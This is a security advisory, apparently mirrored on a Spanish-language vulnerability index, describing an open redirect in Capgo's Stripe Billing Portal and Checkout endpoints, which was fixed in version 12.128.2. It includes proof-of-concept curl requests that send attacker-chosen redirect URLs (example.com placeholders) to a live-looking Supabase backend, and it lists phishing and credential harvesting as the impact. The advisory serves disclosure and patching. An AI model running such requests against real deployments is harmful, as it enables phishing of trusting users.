GHSA-GRC7-98PF-H8HQ
Unvalidated redirect URLs in Stripe billing flows (open redirect via callbackUrl / successUrl / cancelUrl)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-GRC7-98PF-H8HQ divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The billing endpoints that create Stripe Billing Portal and Stripe Checkout sessions accept user-controlled redirect URLs and pass them directly to Stripe (return_url, success_url, cancel_url) without any allowlist validation. This enables open redirects from a trusted Capgo/Stripe billing context to attacker-controlled external domains, which can be used for phishing and social engineering.
### Details
Two endpoints are affected:
- Stripe Billing Portal
- Endpoint: POST /functions/v1/private/stripe_portal
- Input: callbackUrl
- Sink: Stripe Billing Portal return_url
- Code:
supabase/functions/_backend/private/stripe_portal.ts → createPortal(..., body.callbackUrl)
supabase/functions/_backend/utils/stripe.ts → billingPortal.sessions.create({ return_url: callbackUrl })
- Stripe Checkout
- Endpoint: POST /functions/v1/private/stripe_checkout
- Inputs: successUrl, cancelUrl
- Sink: Stripe Checkout success_url, cancel_url
- Code:
supabase/functions/_backend/private/stripe_checkout.ts → createCheckout(..., body.successUrl, body.cancelUrl, ...)
supabase/functions/_backend/utils/stripe.ts → checkout.sessions.create({ success_url: \${successUrl}?success=true`, cancel_url: cancelUrl })`
Although the UI typically sends same-origin URLs (e.g., window.location.href), the backend accepts arbitrary external URLs.
### PoC
Precondition: authenticated user with org.update_billing permission for the org.
PoC 1 - Billing Portal (callbackUrl)
SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ORG_ID="redacted"
CB="https://example.com/capgo-portal-return"
echo "== Request ==" && \
echo "POST $SUPA/functions/v1/private/stripe_portal" && \
echo "authorization: Bearer <redacted>" && \
echo "Body: {\"orgId\":\"$ORG_ID\",\"callbackUrl\":\"$CB\"}" && \
echo && \
echo "== Response ==" && \
curl -sk -i -X POST "$SUPA/functions/v1/private/stripe_portal" \
-H "authorization: Bearer $JWT_RAW" \
-H "content-type: application/json" \
--data "{\"orgId\":\"$ORG_ID\",\"callbackUrl\":\"$CB\"}" \
| sed -n '1,90p'_Trigger: Open returned pay.capgo.app/p/session/... URL → click “Return to Capgo” → browser redirects to https://example.com/capgo-portal-return._
<img width="891" height="417" alt="image" src="https://github.com/user-attachments/assets/f218a5ce-56ba-4941-9e75-d1043060cb93" />
PoC 2 - Checkout (successUrl / cancelUrl)
SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ORG_ID="redacted"
PROD="prod_LQIzwwVu6oMmAz"
echo "== Request ==" && \
echo "POST $SUPA/functions/v1/private/stripe_checkout" && \
echo "authorization: Bearer <redacted>" && \
echo "Body: {\"orgId\":\"$ORG_ID\",\"priceId\":\"$PROD\",\"recurrence\":\"month\",\"successUrl\":\"https://example.com/checkout-success\",\"cancelUrl\":\"https://example.com/checkout-cancel\"}" && \
echo && \
echo "== Response ==" && \
curl -sk -i -X POST "$SUPA/functions/v1/private/stripe_checkout" \
-H "authorization: Bearer $JWT_RAW" \
-H "content-type: application/json" \
--data "{\"orgId\":\"$ORG_ID\",\"priceId\":\"$PROD\",\"recurrence\":\"month\",\"successUrl\":\"https://example.com/checkout-success\",\"cancelUrl\":\"https://example.com/checkout-cancel\"}" \
| sed -n '1,110p'Trigger: Open returned pay.capgo.app/c/pay/cs_live_... URL:
- Cancel/back action redirects to https://example.com/checkout-cancel
- Success redirects to https://example.com/checkout-success?success=true
<img width="881" height="452" alt="image" src="https://github.com/user-attachments/assets/f03938ea-cc4d-4d80-9a61-d9b1fd927d02" />
Impact
- Open redirect from a trusted billing/payment flow (Stripe hosted pages).
- Enables high-trust phishing: users expect to return to Capgo after billing, but are redirected to attacker-controlled domains.
- Can be used for credential harvesting (“session expired, login again”), payment fraud prompts, or malware delivery.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmcapgo |
Corregida | 12.128.2 | — | — |
12.128.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Cap-go/capgo.app/security/advisories/GHSA-grc7-98pf-h8hqLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
